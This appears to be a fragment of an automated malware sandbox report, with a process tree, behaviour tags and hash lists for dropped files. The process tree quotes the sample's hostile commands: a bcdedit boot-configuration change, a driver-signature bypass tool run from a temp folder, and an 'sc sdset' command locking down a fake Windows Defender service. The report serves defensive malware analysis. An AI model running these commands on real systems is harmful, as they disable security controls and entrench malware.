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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:1620
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Executes dropped EXE
PID:1592
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C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Suspicious use of AdjustPrivilegeToken
PID:332
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C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:800
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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MD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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MD5
b6240ec8985bd080a7193f70801b2810
SHA175d579b58ab63268d180c055ba040a4752438d05
SHA2569808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6
SHA512f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02
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MD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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MD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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MD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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MD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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MD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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MD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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MD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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MD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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MD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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MD5
e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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MD5
e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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MD5
e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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MD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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MD5
b6240ec8985bd080a7193f70801b2810
SHA175d579b58ab63268d180c055ba040a4752438d05
SHA2569808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6
SHA512f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02
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MD5
b6240ec8985bd080a7193f70801b2810
SHA175d579b58ab63268d180c055ba040a4752438d05
SHA2569808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6
SHA512f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02